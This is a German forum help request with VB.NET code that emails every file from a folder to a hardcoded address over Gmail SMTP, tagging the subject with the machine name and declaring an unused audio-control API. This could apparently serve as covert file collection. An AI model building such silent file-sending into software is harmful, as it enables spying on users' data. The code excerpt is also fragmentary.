Hallo,
ich möchte gerne eine Email mit Attachment senden, nur das klappt leider nicht. Er spuckt keine Fehlermeldung aus, ich bekomme aber keine Email.
Viele Email Anbieter machen dies mit SMTP nur noch über SSL Verschlüsselung. Ich habe bei Gmail so eingestellt, das POP aktiviert ist und IMAP ist auch aktiviert.
Hier ist mein Code:
*Topic verschoben*
ich möchte gerne eine Email mit Attachment senden, nur das klappt leider nicht. Er spuckt keine Fehlermeldung aus, ich bekomme aber keine Email.
Viele Email Anbieter machen dies mit SMTP nur noch über SSL Verschlüsselung. Ich habe bei Gmail so eingestellt, das POP aktiviert ist und IMAP ist auch aktiviert.
Hier ist mein Code:
VB.NET-Quellcode
- Public Class xxxform
- Dim smtpServer As SmtpClient = Nothing
- Dim mail As MailMessage = Nothing
- Private Shared mailSent As Boolean = False
- Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal Command As String, ByVal Returnstring As String, ByVal returnlength As Integer, ByVal callback As Integer) As Integer
- Dim returnstring As String
- Dim callback As Integer
- '
- '
- '
- '
- smtpServer = New SmtpClient()
- mail = New MailMessage()
- Dim attachment As Attachment = Nothing
- smtpServer.UseDefaultCredentials = False
- smtpServer.DeliveryMethod = SmtpDeliveryMethod.Network
- smtpServer.Credentials = New Net.NetworkCredential("Email", "Passwort")
- smtpServer.Port = 587
- smtpServer.Host = "smtp.gmail.com"
- smtpServer.EnableSsl = True
- mail = New MailMessage()
- AddHandler smtpServer.SendCompleted, AddressOf SendCompletedCallback
- Dim Datei As Object = Pfad & "\" & Ordnername.Text & "\"
- Dim sPath As String = Datei
- If sPath.EndsWith("\") And sPath.Length > 3 Then
- sPath = sPath.Substring(0, sPath.Length - 1)
- End If
- If System.IO.Directory.Exists(sPath) Then
- Dim sFiles() As String = System.IO.Directory.GetFiles(sPath, "*.*")
- With mail
- .From = New MailAddress("Email")
- .To.Add("Email")
- .Subject = System.Environment.MachineName + " " + "User"
- .Body = "In dieser Mail befinden sich evt. Anlagen."
- .Priority = MailPriority.Normal
- Dim sFile As String
- For Each sFile In sFiles
- .Attachments.Add(New Attachment(sFile))
- Next
- End With
- End If
- smtpServer.SendAsync(mail, "")
- End If
- Private Sub SendCompletedCallback(ByVal sender As Object, ByVal e As AsyncCompletedEventArgs)
- smtpServer.Dispose()
- mail.Dispose()
- mailSent = True
- End Sub
- End Class
*Topic verschoben*
Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „Marcus Gräfe“ ()